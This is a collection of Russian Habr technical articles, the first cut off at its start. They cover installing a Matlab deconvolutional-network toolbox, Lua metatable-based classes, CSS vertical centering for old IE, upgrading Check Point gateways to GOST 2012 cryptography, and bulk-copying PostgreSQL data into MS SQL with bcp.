3) представления (рис.2) можно получить без настройки особых параметров или дополнительных модулей, таких как разъединение, ректификация и фильтрация. Они, представления, получаются в ходу обучения *CNN*;
4) подход с использованием *DNN* основан на методе поиска глобального минимума, а также использовании фильтров полученных при обучении *CNN*, и предназначен для сведения к минимуму плохо обусловленных затрат, которые возникают в сверточном подходе.
В обозреваемой статье приводятся также результаты экспериментов, проводимых Метью Зайлером. Сеть, предложенная им на соревнованиях *[ImageNet](http://www.image-net.org/challenges/LSVRC/2012/results.php) 2013*, показала наилучший результат при решении задачи классификации изображений, ошибка составила всего 14,8%. Классификация объектов 1000 категорий. Обучающая выборка состояла из 1,2 миллионов изображений, а тестовая — из 150 тысяч изображений. Для каждого тестового изображения алгоритм распознавания должен выдать 5 меток классов в порядке убывания их достоверности. При подсчете ошибки учитывалось, соответствует ли наиболее достоверная метка с известной для каждого изображения меткой класса объекта, действительно присутствующего на изображении. Использование 5 меток задумано для того, чтобы исключить «наказание» для алгоритма в случае, когда он распознал на изображении объекты других классов, которые могут быть представлены в неявном виде[1]. Подробнее соревнования по ImageNet 2013 описаны [здесь](http://habrahabr.ru/company/nordavind/blog/206342/).
Результаты работы *Deconvolution Neural Networks* приведены на рисунке 5.
Рис 5. Результаты работы *DNN*
Зайлер в дальнейшем планирует развивать технологию *DNN* в следующих направлениях:
1) усовершенствование классификации изображений в *DNN. DNN* сети были введены для того, чтобы понять особенности процесса обучения сверточных сетей. Используя параметры, полученные в ходе обучения сверточной нейронной сети, в дополнение к функциям высокого уровня можно обеспечить механизм для повышения уровня классификации в *DNN*. Дальнейшая работа связана с классификацией исходных изображений, таким образом можно сказать, что будет применен шаблонный метод. Изображения будут классифицироваться, основываясь на классе, к которому принадлежит объект.
2) масштабирование *DNN*. Методы вывода, используемые в *DNN*, по своей природе работают медленно, так как необходимо выполнение множества итераций. Так же должны быть исследованы численные методы аппроксимации, основанные на прямой связи. Это потребует только те функции и параметры объединения для текущей партии снимков, которые позволяют *DNN* масштабироваться до больших наборов данных.
3) усовершенствование сверточных моделей для обнаружения нескольких объектов на изображении. Сверточные сети, как известно, используются для классификации в течение многих лет и в последнее время они были применены к очень большим наборам данных. Однако, необходима дальнейшая разработка алгоритмов, используемых в сверточном подходе для обнаружения сразу нескольких объектов, присутствующих на изображении. Для обнаружения *CNN* сразу нескольких объектов на изображении требуется большой набор тренировочных данных, так же значительно увеличивается количество параметров для обучения нейронной сети.[4]
Изучив его статью, решили провести исследование по *DNN*. Метью Зайлер разработал [*Deconvolutional Network Toolbox*](http://www.matthewzeiler.com/software/DeconvNetToolbox/DeconvNetToolbox.zip) для *Matlab*. И сразу же столкнулись с проблемой – нетривиальной задачей установки данного *Toolbox*. После успешной установки, решили поделиться этим навыками с хабравчанами.
Итак, перейдем к процессу установки. *Deconvolutional Network Toolbox* устанавливался на компьютер со следующими техническими характеристиками:
• *Windows 7 64x*
• *Matlab b2014a*
Начнем с подготовки программного обеспечения, которое необходимо установить:
1) [*Windows SDK*](http://www.microsoft.com/en-us/download/details.aspx?id=3138), при установке необходимо убрать галочки с пунктов *Visual C++ Compilers
Microsoft Visual C++ 2010*
Если на компьютере уже установлена *VS* 2010 *redistributable* x64 или *VS* 2010 *redistributable* x86, то её придется удалить.
Завершаем процесс установки *Windows SDK*, и устанавливаем [патч](http://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=4422)
2) После этого скачиваем и устанавливаем *VS* 2010
3) Так же для установки данного тулбокса необходимо установить *icc* компилятор, в нашем случае это *Intel C++ Composer XE Compiler 2011*.
4) В *Matlab* набрать команду
```
mbuild -setup
```
и автоматически выберется *SDK 7.1*.
Аналогично происходит с
```
mex –setup
```
Если компилятор был успешно установлен, то теперь можно приступить к сборке тулбокса.
Подготовка программного обеспечения завершена. Приступаем к процессу компиляции.
1) Скачать тулбокс с
[www.matthewzeiler.com/software/DeconvNetToolbox/DeconvNetToolbox.zip](http://www.matthewzeiler.com/software/DeconvNetToolbox/DeconvNetToolbox.zip) и распаковать
2) В *Matlab* заходим в директорию, где находится распакованный тулбокс, и запускаем файл *«setupDeconvNetToolbox.m»*
3) Заходим в папку *PoolingToolbox*. Открываем файл compilemex.m
В этот файл необходимо внести ряд изменений, так как он написан для Linux.
Необходимо прописать пути в *MEXOPTS\_PATH* к *Matlab*, к библиотекам находящимся в папке с компилятором для 64х битной системы, а так же к заголовочным файлам компилятора и *VisualStudio 2010*.
4) Внесем еще несколько изменений, выглядят они так
`exec_string = strcat({'mex '},MEXOPTS_PATH,{' '},{'-liomp5mt max_pool.cpp'});
eval(exec_string{1});`
Аналогично нужно сделать и для остальных компилируемых файлов.([Пример](https://yadi.sk/i/TArJSX-3fUqmm))
5) Внесем так же изменения в *mexopts.sh*
Там необходимо так же прописать пути к 64 и 32х битному компилятору. ([Пример](https://yadi.sk/d/y5exp4VHfUqvE))
6) Теперь переходим в директорию *IPP Convolution Toolbox*
7) Заходим в папку *MEX* и запускаем файл *complimex.m*, тут тоже необходимо прописать тоже, что и в 4 пункте, и отдельно дописать пути к *ipp\_lib* и *ipp\_include*. (Пример)
*Matlab* скажет что не хватает [библиотек](https://yadi.sk/d/Vn9ceDIhfUpCJ), их необходимо положить в *c:\Program Files (x86)\Intel\ComposerXE-2011\ipp\lib\intel64\*
8) Аналогично п5 вносим изменения
```
exec_string = strcat({'mex '},MEXOPTS_PATH,{' '},{IPP_INCLUDE_PATH},{' '}, {IPP_LIB64_PATH},{' '},{IPP_LIB_PATH},{' '},{'-liomp5mt -lippiemerged -lippimerged -lippcore -lippsemerged -lippsmerged -lippi ipp_conv2.cpp'});
eval(exec_string{1});
```
([Пример](https://yadi.sk/d/cl6idDE-fUr7e))
Запускаем файл, если все заработало корректно – продолжаем.
9) Заходим в папку *GUI*
10) Открываем файл *gui.m*, тут необходимо прописать пути к папке с распакованным *Deconvolutional toolbox*, у меня это выглядит так
`START_DATASET_DIRECTORY = 'C:/My_projects/DeconvNetToolbox/DeconvNetToolbox';
START_RESULTS_DIRECTORY = 'C:/My_projects/DeconvNetToolbox/DeconvNetToolbox';`
([Пример](https://yadi.sk/i/AkmXZlEafUrD4))
11) Запускаем файл *gui.m*. Заработало? Закрываем и идем дальше.
12) Теперь в папке, куда выкачали Тулбокс, создаем папку *Results*, а в ней папку *temp*. Запускаем теперь из папки *Results gui.m,* появляется графический интерфейс, в котором задаются параметры, в нижнем правом углу «Save Results» устанавливаем равным 1, и нажимаем «*Save*». В результате этих действий в директории *GUI* сгенерируется файл *gui\_has\_set\_the\_params.mat* с параметрами демонстрационной модели *DNN* сети, предложенной Метью Зайлером.
13) Теперь можно приступать к обучению полученной модели посредством вызова скрипта *trainAll.m.*
Если все действия были выполнены правильно, то после завершения обучения в папке *Results* можно будет увидеть результат работы.
Теперь можно начинать проводить исследования! Результатам исследований будет посвящена отдельная статья.
Список литературы:
1) [habrahabr.ru/company/nordavind/blog/206342](http://habrahabr.ru/company/nordavind/blog/206342/)
2) [habrahabr.ru/company/synesis/blog/238129](http://habrahabr.ru/company/synesis/blog/238129/)
3) [habrahabr.ru/post/229851](http://habrahabr.ru/post/229851/)
4) [www.matthewzeiler.com/pubs](http://www.matthewzeiler.com/pubs/)
5) [geektimes.ru/post/74326](http://geektimes.ru/post/74326/)
6) [nordavind.ru/node/550](http://nordavind.ru/node/550) | https://habr.com/ru/post/253859/ | null | ru | null |
# Возможности метатаблиц в Lua на примере реализации классов
В Lua ООП нет. И оно, в общем-то и не нужно: удобной модульности и функций первого класса достаточно для реализации многих вещей. На этом можно было бы и закончить, но пост не про это. В данном случае я распишу работу с метатаблицами, где в качестве примера шаг за шагом будет реализовываться системка по работе с классами в несколько таком python-стиле. Для понимания нужен хотя бы основной базис языка: таблицы, upvalues.
### Вариант влоб
Начать можно с самого простого примера:
```
local Obj = {}
function Obj.spam()
print 'Hello world'
end
--[[ Аналогично можно написать и так:
local Obj = {
spam = function()
print 'Hello world'
end,
}
]]
Obj.spam()
-- Hello world
```
Мы получили таблицу с одним ключом, значением которого является функция. Однако внутри самой Obj.spam нельзя получить ссылку на сам Obj (кроме как по имени за счет upvalue), потому что пока нет никаких this/self и т.п. внутри функции.
Мы можем «реализовать» это сами:
```
local Obj = {}
function Obj.spam(self)
print(self)
end
Obj.spam(Obj)
```
или предоставить это lua:
```
local Obj = {}
function Obj.spam(self)
print(self)
end
function Obj:spam2()
print(self)
end
Obj:spam() -- эквивалентно Obj['spam'](Obj), т.е. не просто вызов метода, а сначала получение поля по имени, а затем его вызов, как функции.
Obj:spam2()
Obj.spam(Obj)
-- table: 0x417c7d58
-- table: 0x417c7d58
-- table: 0x417c7d58
```
Результатом работы будет одна и та же ссылка, т.к. все три self одинаковы.
*Явное использование a:b вместо a.b(a) можно использовать, при желании, для визуального разграничения методов класса Obj.foo(cls) и методов инстанции a.foo(self).*
Наивный вариант конструктора мог бы выглядеть так:
```
local Obj = {
var = 0,
}
function Obj:new(val)
self:set(val or 0)
return self
end
function Obj:set(val)
self.var = val
end
function Obj:print()
print(self.var)
end
local a = Obj:new(42)
a:print()
local b = Obj:new(100500)
b:print()
a:print()
-- 42
-- 100500
-- 100500
```
Происходит переиспользование одной и той таблицы, что приводит к замене a.var внутри b.set. Для разделения нужно выдавать в new новую таблицу:
```
local Obj = {
var = 0,
}
function Obj:set(val)
self.var = val
end
function Obj:print()
print(self.var)
end
function Obj:new(val)
-- каждый раз создаем новую таблицу
local inst = {}
-- добавляем в эту таблицу все, что есть в Obj
for k, v in pairs(self) do
inst[k] = v
end
inst.new = nil -- для запрета создания инстанций из инстанций. можно и оставить :)
inst:set(val or 0)
return inst
end
local a = Obj:new(42)
a:print()
local b = Obj:new(100500)
b:print()
a:print()
-- 42
-- 100500
-- 42
```
Это работает, но уж больно криво, да и нужно повторять каждый раз.
### Метатаблицы
В Lua для каждой таблицы (и userdata, но сейчас не про них речь) можно задавать метатаблицу, описывающую поведение данной таблицы в [особенных случаях](http://lua-users.org/wiki/MetatableEvents). Такими случаями могут быть использование в арифметике (перегрузка операторов), конкатенация как строк и т.д. В качестве небольшого примера перегрузки операторов и приведения к строке:
```
local mt = {
__add = function(op1, op2)
local op1 = type(op1) == 'table' and op1.val or op1
local op2 = type(op2) == 'table' and op2.val or op2
return op1 + op2
end,
__tostring = function(self)
return tostring(self.val)
end,
}
local T = {
val = 0,
new = function(self)
local inst = {}
for k, v in pairs(self) do
inst[k] = v
end
-- метатаблица не является явным полем таблицы, ее нужно назначать явно
setmetatable(inst, getmetatable(self))
return inst
end,
}
setmetatable(T, mt)
local a = T:new()
a.val = 2
local b = T:new()
b.val = 3
print(a)
print(b)
print(a + b)
print(a + 10)
print(100 + b)
-- 2
-- 3
-- 5
-- 12
-- 103
```
В данном случае нас интересует ключ \_\_index, используемый при обращении к не существующему ключу таблицы, который внутри lua используется следующим образом:
* Если значением ключа является функция, то та вызывается с передачей ей таблицы и искомого ключа. Результат работы функции используется как значение ключа. Повторное обращение по этому же ключу вновь вызывает функцию (никакого «кеширования»);
* Если значением ключа является другая таблица, то ключ ищется в ней. Если ключ не находится, то у данной таблицы рекурсивно проверяется ее метатаблица, и так далее. ~~Самый настоящий We need to go deeper.~~
Такой подход позволяет отделить описание класса от создания его экземпляра:
```
local T = {}
local T_mt = {
__index = T, -- если у таблицы нет ключа, то следует посмотреть в другой таблице
}
function T.create()
-- setmetatable возвращает свой первый параметр в качестве результата
return setmetatable({}, T_mt)
end
function T:set(val)
self.val = val or 0
end
function T:print()
print(self.val)
end
local a = T.create()
a:set(42)
local b = T.create()
b:set(100500)
a:print()
b:print()
a:print()
-- поле инстанции
a.foo = 7
print(a.foo)
print(b.foo)
-- поле класса
T.bar = 7
print(a.bar)
print(b.bar)
```
Получаемые a и b являются пустыми таблицами, не имеющими ключей new, set и print. Данные методы хранятся в общей таблице T. При таком подходе вызов a:print() на самом деле разворачивается в (только итоговая ветвь исполения):
```
getmetatable(a).__index.print(a)
```
Внутри lua это выполняется очень быстро.
При необходимости получить значение только из таблицы, не задействуя магию метатаблиц, можно заменить a.bar на rawget(a, 'bar') / rawset(a, 'bar', value).
В качестве дополнительной приятной мелочи можно реализовать более привычный синтаксис конструкторов:
```
local T = {}
setmetatable(T, {
__call = function(cls)
return cls.create()
end,
})
-- Все! Теперь вместо T.create() можно писать просто T():
local a = T()
local b = T()
```
### Развитие идеи
Теперь можно попробовать собрать все это воедино в общий генератор классов, который будет выглядеть так:
```
local OOP = {}
function OOP.class(struct)
-- магия
return cls -- возвращаем класс, не инстанцию
end
-- создаем класс из описания публичных полей и методов инстанции
local A = OOP.class {
val = 0,
set = function(self, val)
self.val = val or 0
end,
print = function(self)
print(self.val)
end,
}
-- создаем и используем
local a = A:create()
a:print()
a:set(42)
a:print()
```
Реализация в данном объеме весьма простая:
```
function OOP.class(struct)
local struct = struct or {}
local cls = {}
local function _create_instance()
local inst = {}
for k, v in pairs(struct) do
inst[k] = v
end
return inst
end
setmetatable(cls, {
__index = {
create = _create_instance, -- метод класса, не инстанции
},
__call = function(cls)
return cls:create() -- сахар синтаксиса конструктора
end,
})
return cls
end
```
Всего и делов-то.
Для методов класса можно сохранить ссылку на класс внутри таблицы инстанции и воспользоватся ей в последствии:
```
-- ...
local function _create_instance()
local inst = {}
-- ...
inst.__class = cls
-- ...
end
-- ...
A.clsMeth = function(cls)
print('Hello')
end
-- ...
a.__class:clsMeth()
-- a.clsMeth() не доступно
```
Гораздо интереснее ситуация с наследованием. Пока разберем единичное:
```
-- метод исключительно ради красивого синтаксиса. необходимости в нем нет
function OOP.subclass(parent)
return function(struct)
return OOP.class(struct, parent)
end
end
local A = OOP.class {
-- ...
}
local B = OOP.subclass(A) { -- B является потомком A
welcome = function(self)
print('Welcome!')
self:print() -- вызов метода предка как своего
end,
}
local b = B()
b:print()
b:set(100500)
b:welcome()
```
Для реализации нужно внести не так уж и много правок:
```
function OOP.class(struct, parent) -- 1. передаем данные по родителю
local struct = struct or {}
local cls = {}
local function _create_instance()
local base = parent and parent:create() or nil -- 2. при создании инстанции создаем ее предка
local inst = {}
-- 3. берем из родителя все его публичные поля
if base then
for k, v in pairs(base) do
inst[k] = v
end
end
for k, v in pairs(struct) do
inst[k] = v
end
inst.__class = cls
return inst
end
setmetatable(cls, {
__index = setmetatable( -- 4. метатаблица получает собственную метатаблицу
{
create = _create_instance,
}, {
-- если чего нет у текущего класса, то ищем у предка
__index = function(_, key)
if parent then
return parent[key]
end
end,
}
),
__call = function(cls)
return cls:create()
end,
})
return cls
end
```
Для создания собственных явных конструкторов опишем метод new и будем его вызывать при создании инстанции:
```
-- ...
setmetatable(cls, {
-- ...
__call = function(cls, ...)
local inst = cls:create()
-- если есть конструктор - вызываем его
local new = inst.new
if new then
new(inst, ...)
end
return inst
end,
})
-- ...
local A = OOP.class {
new = function(self, text)
text = text or ''
print('Hello ' .. text)
end,
}
local B = OOP.subclass(A) {
}
A('world')
B('traveler')
-- Hello world
-- Hello traveler
```
Автоматического вызова конструктора (да и вообще любого другого метода) предка мы не реализовывали, соотвественно
```
local B = OOP.subclass(A) {
new = function(self, text)
print('B says ' .. tostring(text))
end,
}
B('spam')
```
не приведет к вызову A.new. Для этого опять нужно лишь внести небольшое дополнение в логику работы, реализовав метод инстанции super :)
```
local B = OOP.subclass(A) {
new = function(self, text)
print('B says ' .. tostring(text))
self:super('from B')
end,
}
-- ...
local function super_func(self, ...)
local frame = debug.getinfo(2)
local mt = getmetatable(self)
assert(mt and mt.__base, 'There are no super method')
local func = mt.__base[frame.name]
return func and func(self, ...) or nil
end
-- ...
local function _create_instance()
-- ...
-- вместо явного объявления inst.super выносим метод в метатаблицу, чтобы он не выглядел как часть структуры.
-- но это позволяет объявить одноименный метод/поле.
-- можно добавить проверку имени при обходе pairs(struct), если необходимо. но от a.super = x это не спасет.
local inst = setmetatable({}, {
__base = base,
__index = {
super = super_func,
},
})
-- ...
```
super вызывается без указания имени вызываемого метода. Для его получения используется модуль debug.
*Если не хочется его использовать (или lua запущена без него), то можно явно передавать имя метода.*
[debug.getinfo()](http://www.lua.ru/doc/5.9.html) используется для получения краткой информации о запрошенном уровне стека: 0 — сама debug.getinfo, 1 — текущий (super\_func), 2 — уровень, где вызвали super\_func,… Нам нужно имя функции, из которой была вызвана super, т.е. поле name второго уровня стека.
Теперь можно вызывать любые родительские методы, не только конструктор :)
Для реализации private полей и методов можно использовать подход на основе соглашения об именовании как в python, или воспользоваться истинным сокрытием через область видимости модуля, или вообще через upvalues:
```
local A = OOP.class((function()
-- нет прямого доступа из потомка
local function private(self, txt)
print('Hello from ' .. txt)
end
return {
val = 0,
public = function(self)
private(self, 'public')
end,
}
end)())
```
Ну тут вариантов много. Меня вполне устраивает вариант с соглашением по именованию.
Вот такие возможности предоставляют метатаблицы в Lua. Если вы смогли это все прочитать, то, видимо, написано было не зря.
Полный и чуть более навороченный вариант реализации [можно увидеть тут](https://github.com/AterCattus/estrela/blob/dev/lib/estrela/oop/single.lua). | https://habr.com/ru/post/228001/ | null | ru | null |
# Вертикальное выравнивание блоков в CSS
Приветствую всех, хочу поделиться своим собственным методом центрирования блока по вертикали. Все наверно и так читали не мало статей как это сделать и я не говорю о каком-то абсолютно новом способе, потому что все браузеры не считая IE всегда отлично понимали простую конструкцию:
HTML:
> `<div>
>
> <p>
>
> Because the Welsh and Roman heritage was almost entirely erased by the invasion of low German and then Scandinavian populations….
>
> p>
>
> div>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
CSS:
> `div {
>
> display: table-cell;
>
> vertical-align: middle;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
и по сути оставалось только научить IE (7 и ниже) делать тоже самое. Что привело к изобретению массу извратных способов: добавления expression'а, манипуляции с line-height, вставка пустого inline элемента после текста и т.д. Я так же придумал способ именно для IE используя для остальных браузеров код, который представлен выше. И так вот мой метод:
HTML:
> `<div class="b-width">
>
> <div class="b-valign-middle">
>
> <div>
>
> <p>
>
> собрался, настроился и без лишних сантиментов выиграл. Вообще как по мне - последняя игра немного странная. То ли terran Canata расслабился, то ли его противник понял, что нельзя разочаровывать фанатов, но никаких других слов кроме "пришёл и убил" я к этой игре подобрать не могу.
>
> собрался, настроился и без лишних сантиментов выиграл. Вообще как по мне - последняя игра немного странная. То ли terran Canata расслабился, то ли его противник понял, что нельзя разочаровывать фанатов, но никаких других слов кроме "пришёл и убил" я к этой игре подобрать не могу. Что касается второй пары - то тут я даже и не знаю, что сказать. Видимо, zerg EffOrt настолько сильно озабочен делами своей команды в SPL, что ничто другое его попросту не интересует. Не буду расписывать - посмотрите оба матча, ибо они отнюдь не длинные.p>
>
> div>
>
> div>
>
> div>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
общий СSS:
> `.b-width {
>
> width: 40%;
>
> margin: 0 auto;
>
> }
>
>
>
> .b-valign-middle {
>
> height: 500px;
>
> border: 1px solid;
>
> position: relative;
>
> display: table-cell;
>
> vertical-align: middle;
>
> }
>
>
>
> .b-valign-middle p {
>
> border: 1px solid red;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
CSS для IE7 и ниже:
> `.b-valign-middle div {
>
> position: absolute;
>
> top: 50%;
>
> }
>
>
>
> .b-valign-middle p {
>
> position: relative;
>
> top: -50%;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
[Пример реализации](http://rageteam.org/portfolio/valign/)
Немного поясню: наш контейнер у которого мы указываем высоту это .b-valign-middle, внутри него нам нужно выровнять по центру контент неизвестного объема который мы заворачиваем в div и p(не очень хорошо с точки зрения семантики скажут многие, но оно того стоит). Первая обвертка — div нам нужна для того чтобы сместить начало контента к середине контейнера (top: 50%). А теперь самое интересное: вторая обвертка — p нужна для того чтобы поднять контент на 50% от высоты первой обвертки, для этого у div ставим position: absolute; (relative не сработает) и p top: -50%, вот и все! Довольно просто, не правда ли?
Причем этот метод работает только в IE, нормальные браузеры не поднимают p на 50% высоты div'а т.к высота у него не задана явно, а IE на этот раз приятно удивил!
Ну вот и все. Буду рад если кому-то пригодится этот метод, так же если я не первый кто его придумал прошу сильно не ругать, потому что я действительно его придумал сам. Проверял метод под браузерами: IE6+, Opera 9.6, FF3.5, Chrome, Safari3. | https://habr.com/ru/post/71700/ | null | ru | null |
# Способы обновления криптографии на оборудовании Check Point до ГОСТ 2012
**В соответствии с требованиями ФСБ России использование схемы подписи ГОСТ Р 34.10-2001 для формирования электронной подписи после 31 декабря 2018 года не допускается. Однако, соответствующий патч для Check Point с криптографией КриптоПро, поддерживающей новые алгоритмы, выпущен в 2018 году не был. Чтобы соответствовать требованиям регулятора и внезапно не остаться без защищенных каналов связи, многие компании, использующие оборудование Check Point с поддержкой ГОСТового шифрования, не дожидаясь нового патча выпустили сертификаты для шлюзов по алгоритмам ГОСТ Р 34.10/11-2001.**
В данной публикации рассматривается ситуация, когда межсетевые экраны (МЭ) Check Point уже обновлены до версии R77.30, и на них установлен дистрибутив КриптоПро CSP 3.9 для Check Point SPLAT/GAiA. В данном случае можно сохранить сертификат узла выпущенного при использовании алгоритмов ГОСТ Р 34.10/11-2012, что при кластерном исполнении инсталляции МЭ Check Point (Distributed/Standalone Full HA deployments) позволяет без перерывов связи обновить криптографию на оборудовании. На практике достаточно часто встречается ситуация, когда множество географически удаленных площадок строят VPN-туннели с центральным кластером. Соответственно, чтобы не обновлять большое количество площадок единовременно, новый патч позволяет использовать на оборудовании как алгоритмы ГОСТ Р 34.10/11-2001, так и новые алгоритмы ГОСТ Р 34.10/11-2012.
**Рекомендуемый вендором** способ перехода на новую криптографию заключается в следующем:
1. Миграция (экспорт) БД SMS-сервера;
2. Fresh Install SMS-сервера;
3. Установка КриптоПро CSP 4.0;
4. Миграция (импорт) БД на обновленный SMS-сервер.
5. Fresh Install GW, которые управляются SMS;
6. Установка КриптоПро CSP 4.0 на все GW.
Данный способ не позволяет сохранить сертификат шлюза, выпущенный по ГОСТ Р 34.10/11-2001, более того он требует куда больше времени.
Мы рассмотрим **альтернативную схему обновления**, которая была отработана нами на большом количестве оборудования. Для ее реализации был собран небольшой стенд:
**SMS** — Сервер управления шлюзами Check Point (Primary Management Server)
Подконтрольные шлюзы: FW1-Node-1, FW1-Node-2
**GW1-2** — Шлюзы Check Point (Security gateway), члены кластера GW-Cluster, режим работы кластера: ClusterXL High Availability
**SMS-GW** — Сервер управления шлюзами Check Point (Primary Management Server), Шлюз Check Point (Security gateway), Standalone Deployment
**HOST1-2** — Машина, используемая для проверки прохождения трафика между шлюзами
В силу ограниченности ресурсов домашней станции, в данном стенде не продемонстрирован вариант обновления Standalone Full HA deployment, однако он идентичен обновлению Standalone Deployment с той лишь разницей, что рассматриваемую последовательность действий будет необходимо повторить для Secondary Standalone шлюза.
Схема обновления состоит из 2-х шагов:
* обновление криптографии на standalone шлюзе;
* обновление SMS и кластера GW.
Рассмотрим подробнее эти шаги.
#### 1. Обновление криптографии на Standalone шлюзе (SMS+GW):
Проверим, что за сертификат установлен на текущий момент (чтобы убедиться, что после обновления криптографии сертификат останется тот же):
1. Первое, что необходимо сделать — это удалить КриптоПро 3.9.
Команда для удаления (выполняется в командной оболочке /bin/bash (expert)):
```
/opt/CPUninstall/R77.30_GOST/UnixUninstallScript
```
После чего получим следующее предупреждение:
После того, как скрипт закончит работу, необходимо перезагрузить шлюз.
После перезагрузки необходимо выполнить следующую команду, чтобы удалить библиотеки, которые могли остаться:
```
/opt/CPUninstall/GOST/gost_cpro_uninstall.sh
```
Далее, если на шлюзе остались файлы установки КриптоПро 3.9 необходимо переименовать директорию /var/gost\_install в /var/gost\_install\_39 или удалить её содержимое.
2. Далее необходимо скопировать файлы, необходимые для установки нового ГОСТового патча, в директорию /var/gost\_install. Рекомендуется архив с криптобиблиотеками (содержит директории rpm и kis) скопировать по пути /var/gost\_install и распаковать, а патч скопировать по пути /var/gost\_install/hf и так же распаковать.
3. Запуск установки КриптоПРО 4.0:
```
/var/gost_install/hf/UnixInstallScript
```
В конце выполнения скрипта дожны получить следующее сообщение, после которого необходимо будет перезагрузить шлюз:
4. Далее необходимо установить лицензию КриптоПро:
```
/opt/cprocsp/sbin/ia32/cpconfig -license –set
```
Так же нужно подключиться при помощи консоли, которая есть в составе дистрибутива для установки КриптоПро и установить политику.
Сразу после перезагрузки туннель строится на сертификате выпущенному по ГОСТ Р 34.10/11-2001. Для этого проверим, какой сертификат установлен, сбросим IKE SA и IPsec SA (при помощи утилиты TunnelUtil, которая вызывается командой vpn tu) и проверим, что туннель перестраивается:
Как можно увидеть — туннель перестраивается, проверим, какого вида записи можно увидеть в SmartView Tracker:
Как можно увидеть, Data Encryption Methods такой же, как и до обновления КриптоПро на шлюзе.
5. Далее для использования алгоритмов ГОСТ 2012 на обновлённом узле необходимо выполнить команды содержащиеся в README\_GOST\_2012\_SIG\_USAGE.txt в дистрибутиве для установки КриптоПро 4.0:
```
ckp_regedit -a SOFTWARE\\CheckPoint\\VPN1 USE_2012_GOST_ALGS 1
ckp_regedit -a SOFTWARE\\CheckPoint\\VPN1 GOST_USE_PSK 1
```
6. В том же ReadMe можно найти следующее:
```
Though site key was needed only for clusters in previous GOST versions now you should also use site key for non-clustered GWs
```
То есть в новой версии патча, установка SiteKey (и обновление их в дальнейшем) необходимо и для отдельно стоящих шлюзов.
Для генерации site key необходимо выполнить следующую команду:
/opt/cprocsp/bin/ia32/cp-genpsk.sh Net 6 :
SiteKey – это объединение Part 0 и Part 1:
HM25MEKFK9HTLPU0V0THZPPEXBXZ
После установки в SmartView Tracker появится следующая запись:
7. После этого остается только выпустить сертификат ГОСТ 2012 (предварительно установив корневой сертификат УЦ по новому ГОСТу), процедура ничем не отличается, от того, как выпускается сертификат для предыдущего ГОСТа, поэтому тут не рассматривается. Проверим, что оба сертификата установлены на узле:
На этом этапе обновление Standalone шлюза закончено.
#### 2. Обновление SMS и кластера GW
Процедура обновления криптографии на SMS и узлах кластера ничем не отличается от показанного в пункте один, поэтому здесь будут приведены только результаты обновления.
Последовательность действий:
1. Удаление КриптоПро 3.9;
2. Удаление старых файлов установки, копирование на шлюзы GW1-2 и SMS файлов установки КриптоПро 4.0;
3. Установка КриптоПро 4.0;
4. Установка лицензий КриптоПро;
5. Включение алгоритмов 2012 ГОСТа;
6. Генерация и установка SiteKey;
7. Выпуск и установка сертификатов, выпущенных по новым алгоритмам.
На скриншоте можно увидеть, что на одном из шлюзов кластера установлены 2 сертификата:
После обновления, так как на шлюзах установлены сертификаты, выпущенные по ГОСТ Р 34.10/11-2001 и по ГОСТ Р 34.10/11-2012, то пока не будет установлен matching criteria для удалённого шлюза или не будет удалён сертификат, выпущенный по ГОСТ Р 34.10/11-2001 – туннель будет строиться на старых сертификатах. Поэтому, чтобы не удалять еще действующие старые сертификаты – мы выставим Matching Criteria:
После этого, в SmartView Tracker видим, что туннель строится при использовании новых сертификатов:
На этом обновление криптографии можно считать завершенным.
Предложенный нами метод позволяет оптимизировать процесс обновления криптографии на межсетевых экранах, осуществляя его без перерывов в связи.
**Артем Чернышев,**
старший инженер «Газинформсервис» | https://habr.com/ru/post/482202/ | null | ru | null |
# Как быстрее всего передавать данные с PostgreSQL на MS SQL
Однажды мне потребовалось забирать регулярно относительно большие объемы данных в MS SQL из PostgreSQL. Неожиданно выяснилось, что самый очевидный способ, через Linked Server на родные ODBC к PostgreSQL, очень медленный.
---
История вопроса
---------------
На этапе прототипирования все было хорошо. Просто потому, что протипировалось всего несколько тысяч записей. Как только перешли к разработке, сразу возникло подозрение, что с производительностью что-то не то:
```
SET STATISTICS TIME ON
DECLARE
@sql_str nvarchar(max)
DROP TABLE IF EXISTS #t
CREATE TABLE #t (
N int,
T datetime,
S varchar(256)
)
SELECT @sql_str='
SELECT N, T, md5((R*100000*random())::text) S
FROM generate_series(1,1000,1) N
CROSS JOIN generate_series($$2020-01-01$$::timestamp,
$$2020-12-31$$::timestamp, $$1 day$$::interval) T
CROSS JOIN generate_series(1,100,1) R'
INSERT #t (N, T)
EXEC (@sql_str) AT LINKED_SERVER_TO_POSTGRES
```
Такой простейший пример выборки 36,6 миллионов записей оказался жутко медленным:
```
SQL Server Execution Times:
CPU time = 927640 ms, elapsed time = 1705275 ms.
```
Решение
-------
В первую очередь, захотелось исключить самый подозрительный элемент - ODBC. К тому времени MS уже предоставлял утилиту bcp для Linux. Поэтому bcp был установлен на сервер, где работал PostgreSQL и проведен следующий тест:
```
SET STATISTICS TIME ON
DECLARE
@sql_str nvarchar(max),
@proxy_account sysname='proxy_account',
@proxy_password sysname='111111'
DROP TABLE IF EXISTS ##t
CREATE TABLE ##t (
N int,
T datetime,
S varchar(256)
)
SELECT @sql_str='
COPY (
SELECT N, T, md5((R*100000*random())::text) S
FROM generate_series(1,1000,1) N
CROSS JOIN generate_series($$2020-01-01$$::timestamp,
$$2020-12-31$$::timestamp, $$1 day$$::interval) T
CROSS JOIN generate_series(1,100,1) R )
TO PROGRAM $pgm$ tmp_file=$'+'(mktemp /tmp/pgsql_bcp_to_mssql.XXXXXXXXX); '
+'cat > $tmp_file; /opt/mssql-tools/bin/bcp ''##t'' '
+'in $tmp_file -S '+REPLACE(@@SERVERNAME,'','\')
+' -U '+@proxy_account+' -P '''
+@proxy_password+''' -c -b 10000000 -a 65535; '
+'rm $tmp_file $pgm$ NULL $nil$$nil$;'
EXEC (@sql_str) AT LINKED_SERVER_TO_POSTGRES
```
Результат сразу порадовал, причем сильно:
```
SQL Server Execution Times:
CPU time = 0 ms, elapsed time = 132794 ms.
```
Реализация
----------
Не сложно заметить, что такой подход требует явного указания логина и пароля. Причем, bcp для Linux до сих пор не умеет авторизоваться через Kerberos. Поэтому использовать его можно только указывая кредентиалы в командной строке.
